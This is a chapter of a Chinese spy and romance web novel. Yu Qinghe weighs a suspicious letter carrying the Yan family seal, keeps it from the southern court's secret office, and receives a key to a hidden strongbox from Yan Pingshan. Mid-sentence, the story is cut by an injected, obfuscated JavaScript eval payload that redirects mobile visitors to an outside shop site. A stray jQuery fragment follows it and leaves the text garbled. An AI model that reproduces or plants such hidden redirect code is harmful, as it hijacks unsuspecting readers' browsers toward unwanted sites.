虞清和回到听风楼时，天还没亮。
春夜潮冷，衣摆被暗渠里的水浸湿了一截，贴在腿上，冷得像一层薄铁。她从后巷入楼，小茶一直守在门后，听见暗号，立刻开门。
门一开，小茶便看见她袖口上的泥水和掌心那道擦伤：“姑娘！”
虞清和抬手止住她：“别出声。”
小茶立刻把门关上，回头看了看后院。阿顺睡在前厅，半夜守炉困得不行，歪在长凳上打盹。楼里其余人都睡了，只有后厨炭火还剩一点暗红，照得院子里湿漉漉的青砖泛着微光。
虞清和径直上楼。进屋后，她没有立刻换衣，也没有喝水，先把门闩扣上，又掀开窗纸一角，看了一眼楼外。
街上仍旧安静。更夫刚从街口过去，梆子敲得很慢。茶摊那边没有人，只有倒扣的凳子和一只被雨水打湿的竹篓。总兵府方向看不见火光，像废阁那场骚动已经被夜色吞掉。
她回到桌前，从袖中取出那封信。纸页受了潮，边角卷起，燕家私印仍旧清晰，红得发暗。
撤桥闭门，坐观北伐军覆灭，可保幽州。
虞清和站在灯下，看了很久。灯芯爆了一声，她才缓缓坐下。
她脸色很平静，越平静，小茶越担心：“姑娘，那是……”
“燕家的信。”
小茶呼吸一紧：“白沟河的？”
虞清和没有答。她把信推到小茶面前。
小茶只看了一眼，脸便白了：“撤桥闭门……坐观北伐军覆灭……”
后面几个字，她几乎念不下去。她知道虞清和为何来幽州，也知道虞家和白沟河之间隔着怎样一条血河。可真正看见这样一封信时，仍觉得胸口发冷。
“姑娘，”小茶低声道，“这是不是就能证明，燕家当年真的……”
“证明不了全部。”
小茶一怔。
虞清和垂眼看着那枚私印：“它只能证明，有人想让我看到这些。”
“可是上面有燕家私印。”
“私印可以盖。”
“字呢？”
“字也可以写。”
她顿了顿，声音低下来：“但燕家没有开门是真的。”
屋里静下来。
这一句，比那封信更重。因为这是连燕平山也没有否认过的事。
燕家没有开门。北伐军死在城外。父亲死在白沟河。
这些都是铁一样的东西。
可这封信出现得太顺，顺到像有人早早把刀磨好，就等她伸手去拿。
小茶小心翼翼问：“那姑娘要送回密署吗？”
虞清和没有立刻回答。
她看着那封信。只要送回去，南朝便会有了最想要的东西，一份足够把燕家钉死的旧证。哪怕这证据不全，哪怕它来得蹊跷，密署也会要。主战的人会要，想借燕家激起民愤的人会要，所有需要“叛臣罪证”的人都会要。
到时候，燕家不必等真相，只需等定罪。
虞清和从前一直以为自己想要的就是这个。可此刻证据就在手里，她却迟迟没有动笔。她想起废阁地下石室里，燕平山看见那枚私印时的神情。
他是真的变了脸。
如果这封信是真的，他为何那样？如果这封信是假的，又是谁能用燕家旧印造出这样一封足以杀人的信？
虞清和把信重新折好，压在乌木盒下：“先不送。”
小茶松了一口气，又立刻紧张起来：“可密署那边已经在催了。”
“那就让他们再催。”
“姑娘……”
虞清和抬眼：“我不是替燕家遮。”
小茶低头。
虞清和声音平稳：“我要的是答案，不是一张刚好合我心意的纸。”
这话说出口时，她自己心里也震了一下。若是两个月前，她未必会这样想。那时她只要燕家的罪。现在，她竟开始警惕一份太像罪证的东西。
她不知道这是好事还是坏事。
她只知道，燕平山那句“谁也不要信”，到底还是留在了她心里。
天亮后，听风楼照常开门。
春日的幽州有了一点薄光。连着几日的雨把屋檐冲洗得发暗，长街上的泥水还没干，几株夹在墙根下的野草却已经冒出新绿。锦市街早起的摊贩陆续支开棚子，卖豆汤的老头一边生火一边咳嗽，热气从锅沿往上冒，混着湿冷的晨雾，像一点很薄的人间烟火。
阿顺一早便觉得楼里气氛不对。小茶不许他乱问，只叫他把门口擦干净。
阿顺擦到一半，忍不住小声说：“小茶姐，昨晚是不是又出事了？”
小茶瞪他：“你看见什么了？”
“我什么也没看见。”阿顺立刻摇头，“就是半夜好像听见后门响了一声。”
“你听错了。”
“哦。”
阿顺乖乖闭嘴，过了片刻，又忍不住问：“那今天还开戏吗？”
小茶看了一眼楼上：“开。”
阿顺小声嘀咕：“都这样了还开啊……”
“越这样越要开。”
这话是虞清和说的。她不知何时已经下楼，换了件干净的素色春衫，发髻梳得很稳，脸上看不出一夜未眠的痕迹。
阿顺连忙低头：“老板。”
虞清和看了一眼外头：“今日唱轻一点的本子。”
小茶问：“唱《春花记》？”
虞清和点头。
阿顺愣了一下。《春花记》是听风楼里最不犯忌的一出戏，讲江南春日，一对兄妹在灯市走散又重逢，中间穿几段花灯小调，没朝政，没军事，也没死人。以往虞清和不太爱点这出，嫌它软。今日却点了。
小茶很快明白。听风楼昨夜刚出了事，外头又有人盯着，越是这时候，越要唱一出没有锋芒的戏，让所有人以为楼里只想避风头。
虞清和走到柜台边，低声道：“今日若有人问我，就说我昨夜偶感风寒，没见客。”
“若燕二公子来呢？”
话出口，小茶自己先顿住。阿顺也偷偷抬头。
虞清和神情没有变化：“照样说。”
小茶低声应了。
可这一整日，燕平山都没有来。
午后，密署的人来了。
这一次不是冯老三，而是一个来听戏的茶客。那人穿得普通，坐在二楼角落里，从头到尾只听戏，不喝酒。戏唱到一半，他借口去后院净手，把一张薄纸压在水缸后。
小茶取回来时，脸色很不好。
纸上的话比上一次更直白。
若已得燕氏信任，速取白沟相关证据。朝中急用。
朝中急用。
虞清和看着这四个字，忽然觉得荒唐。
白沟河死了二十年。父亲死了二十年。祖父被困在成都二十年。燕家背骂名也背了二十年。
这二十年里，朝中不急。如今她刚摸到废阁，刚拿到一纸残证，朝中便急了。
他们急什么？
急着北伐？急着定罪？还是急着把所有复杂的旧事，都写成最方便煽动人心的一句话？
虞清和把纸放在灯下，看着火一点点烧上去。
小茶问：“姑娘，这次怎么回？”
“回已经在查。”
“就这些？”
“就这些。”
小茶犹豫：“若密署逼得更紧呢？”
虞清和把灰烬压碎：“那就让他们逼。”
她声音不高，小茶却听出了里面的冷意。
黄昏时，完颜宏来了。
他带来一包新换的茶，这回是幽州本地新采的嫩叶。茶叶粗些，香气也浅，和南边的茶自然不能比。
完颜宏有些不好意思：“蜀茶没有了。”
虞清和看着那包茶，神情缓了些：“世子不用总送茶。”
“我知道。”他笑了一下，“只是今天路过茶铺，掌柜说今年第一批春茶到了，我就想带来给你尝尝。”
他说得自然，像所有靠近她的理由，都不必绕弯。
虞清和让小茶煮了茶。前厅正在唱《春花记》，台上灯火明亮，唱到灯市重逢那一段。曲调软，带着一点南方味道，楼下几个客人听得昏昏欲睡，倒也安稳。
完颜宏坐在窗边，听了一会儿，轻声道：“今日这出戏很暖。”
虞清和看向戏台：“世子喜欢？”
“喜欢。”他说，“幽州这样的戏少。”
“因为幽州不爱唱团圆。”
完颜宏认真想了想：“也不是不爱。”
“那是什么？”
“是不太相信。”
虞清和一怔。
完颜宏看着台上，眼神很亮，却又有一点说不出的柔和：“可是我喜欢这种戏。”
“为什么？”
“因为明知道很假，还是想听。”
这句话落下来，虞清和一时没有说话。
完颜宏转头看她，像怕自己说错了：“你不喜欢？”
“不是。”虞清和垂眼看着杯中茶色，“只是很少有人这么坦白地承认自己想听假的东西。”
完颜宏笑了：“可人不能只靠真的活吧。”
虞清和心口动了一下。
她想起燕平山。他们两个人，像站在同一座幽州的两端。一个活得太清醒，清醒到连梦都不敢碰。一个被规矩雕琢，却仍旧固执地想相信一点暖的东西。
完颜宏见她神情有些远，问：“你昨夜没睡好吗？”
虞清和抬眼：“世子怎么看出来？”
“你今日没怎么笑。”他说得很认真，“而且你看戏的时候，不像在看戏。”
虞清和顿了顿。完颜宏有时候看起来单纯，可在某些地方又敏锐得出奇。
她没有回答。
完颜宏也没有逼问，只把茶杯往她手边推了推：“那多喝一点热的。”
虞清和看着那杯茶。热气浮上来，模糊了一瞬视线。今日这杯茶里只有一点幽州春意。她忽然觉得命运很会讽刺。
完颜宏离开前，走到楼下时，又停了一下：“对了。”
虞清和看向他。
完颜宏有些苦恼地笑笑：“总兵府这几日大概会查得更严，你若没事，先别往西边走。”
虞清和心口一动：“为什么？”
“昨夜西侧旧阁出了乱子。”他皱了皱眉，像只是提起一桩令人不快的小事，“父亲今早发了脾气，云司那边也被训了。听说有旧册丢了，虽然不是什么大事，但这几日那边肯定要封路。”
虞清和指尖一紧，完颜宏没有察觉。他只是看着她，很真诚地补了一句：“我不是要管你，只是怕你被盘问。”
虞清和看着他：“多谢世子提醒。”
完颜宏笑了一下：“那我走了。”
他走出听风楼时，正好台上唱到兄妹重逢。灯火一亮，楼下客人拍了几下掌。
完颜宏在门口回头看了一眼。他的眼神温柔得像真心相信这出戏里所有好结局。
虞清和站在楼梯边，久久没有动。
小茶低声道：“姑娘，世子说旧册丢了。”
“嗯。”
“是不是我们拿的那封信？”
“不止。”
小茶一怔。
虞清和垂眼：“若只丢了一封信，云司不会闹得那么明显。”
有人在她之后，也动了废阁。或者说，废阁里昨夜被拿走的，不止她手里的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594950|205119||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
东西。
她想起地下石室里那道较轻的鞋印。有人比她更早进去过，那人拿走了什么？又为什么偏偏留下那封信给她看？
夜深后，燕平山来了。
他从二楼外檐翻进来，脚步落地时几乎没有声响。虞清和坐在灯下，仿佛早知道他会来。桌上放着那封信，已经展开，燕家私印正对着他。
燕平山进门后，看见那封信，脚步停了一瞬。
虞清和抬眼：“二公子终于舍得来了？”
燕平山看着她，神色有些疲惫：“昨夜你还拿了别的东西吗？”
虞清和笑了一下：“二公子不去查真正偷旧册的人，倒来问我？”
“我问你，是因为你手里这封最要命。”
“对燕家要命？”
燕平山看着她：“对你要命。”
虞清和眼神冷下来：“你又要说它是假的？”
燕平山走到桌前，低头看那封信。灯火落在他侧脸上，把他的神情照得很沉。这一次，他没有立刻否认。
“我不知道。”
虞清和反而静了一下：“你不知道？”
“我不知道它是真是假。”燕平山抬眼看她，“但我知道，它不该在那里。”
“什么意思？”
“废阁不是没人知道的地方。”他说，“云司知道，总兵府知道，旧年经手过白沟卷的人也知道。若真有一封能把燕家钉死的信，不会安安稳稳躺在那里二十年，等你进去拿。”
虞清和没说话。
燕平山继续道：“尤其昨夜废阁被人动过。”
“你也知道？”
“我查了一天。”
“查到什么？”
“有人比你早进去。”
虞清和心口微沉。这与她的判断一样。
“拿走了什么？”
燕平山摇头：“不知道。”
“不知道你来做什么？”
“来确认你有没有把这封信送出去。”
虞清和冷笑：“怕我送给南朝，毁了燕家？”
“怕你送出去后，就再也查不到真东西。”
屋里安静下来。
这句话比任何辩解都更有用。
虞清和盯着他，像要从他脸上看出半点破绽。燕平山没有躲。
“你若真信这封信，昨夜就已经送回南边了。”他声音很低，“你没有。所以你也觉得不对。”
虞清和指尖慢慢收紧。
他总是这样，一句话就能戳中她最不愿承认的地方。
她将信收回：“我送不送，是我的事。”
“是。”燕平山点头，“所以我不是来拦你。”
“那你来干什么？”
燕平山从怀里取出一样东西，放在桌上。
是一枚极小的铜钥。旧得发暗，齿口磨损，却保存得很好。
虞清和看着那东西：“这是什么？”
“总兵府旧暗库的钥。”
屋里静了一下。
虞清和抬眼：“你疯了？”
燕平山笑了笑：“可能吧。”
“你把总兵府暗库的钥匙给我？”
“不是正门钥。”
“那是什么？”
“侧门。”
“有什么区别？”
“正门进去，活不到一刻。”燕平山指了指那枚铜钥，“侧门进去，也许能多活一会儿。”
虞清和没有接：“那里有什么？”
“白沟河真正的军令往来。”
“你怎么知道？”
“我父亲曾经让我去找过一次。”
虞清和呼吸一滞。
老燕将军。那个最接近白沟河真相的人。
“他让你找什么？”
燕平山沉默片刻：“找一封没有送出去的军令。”
“找到了吗？”
“没有。”
“所以你现在让我去找？”
“不。”燕平山看着她，“我是让你知道，废阁里那封信不是终点。”
“你要找的东西，也许在总兵府暗库。”
虞清和看着那枚铜钥。昨夜那封信太顺手，最要命的字、最要命的印都摆在明处，像有人早替她备好，只等她拿走，立刻送回南朝。
而燕平山今晚给她这枚钥匙，是在告诉她：那把刀不一定假，但一定不完整。
虞清和抬眼：“你为什么给我？”
燕平山没有立刻答。过了很久，才低声道：“因为你不会停。”
“所以？”
“所以我宁愿你走一条我知道的路。”他看着她，“至少那条路哪一步有危险，我还能提醒你。”
虞清和看着他，忽然不知道该说什么。
他知道拦不住她，所以给她一把钥匙，让她不要被别人牵着鼻子往死处走。
她低声问：“你不怕我看完以后，更恨你？”
燕平山苦笑了一声：“你恨，总比被人骗着恨好。”
这句话落下，屋里安静了很久。
虞清和伸手，拿起那枚铜钥。钥匙很冷，齿口磨过她指腹，像一块埋了二十年的骨头。
燕平山看着她收下钥匙，便转身往外走。
走到窗边时，虞清和忽然开口：“燕平山。”
他停住。
“你是不是早就知道，废阁里会有东西等我？”
燕平山背对着她。春夜的风从窗缝里灌进来，带着潮湿的杏花味。
过了片刻，他低声道：“不知道。”
“但我知道，幽州所有太容易拿到的真相，都不干净。”
说完，他翻窗离开。窗外风铃响了一声，很快又被夜色吞没。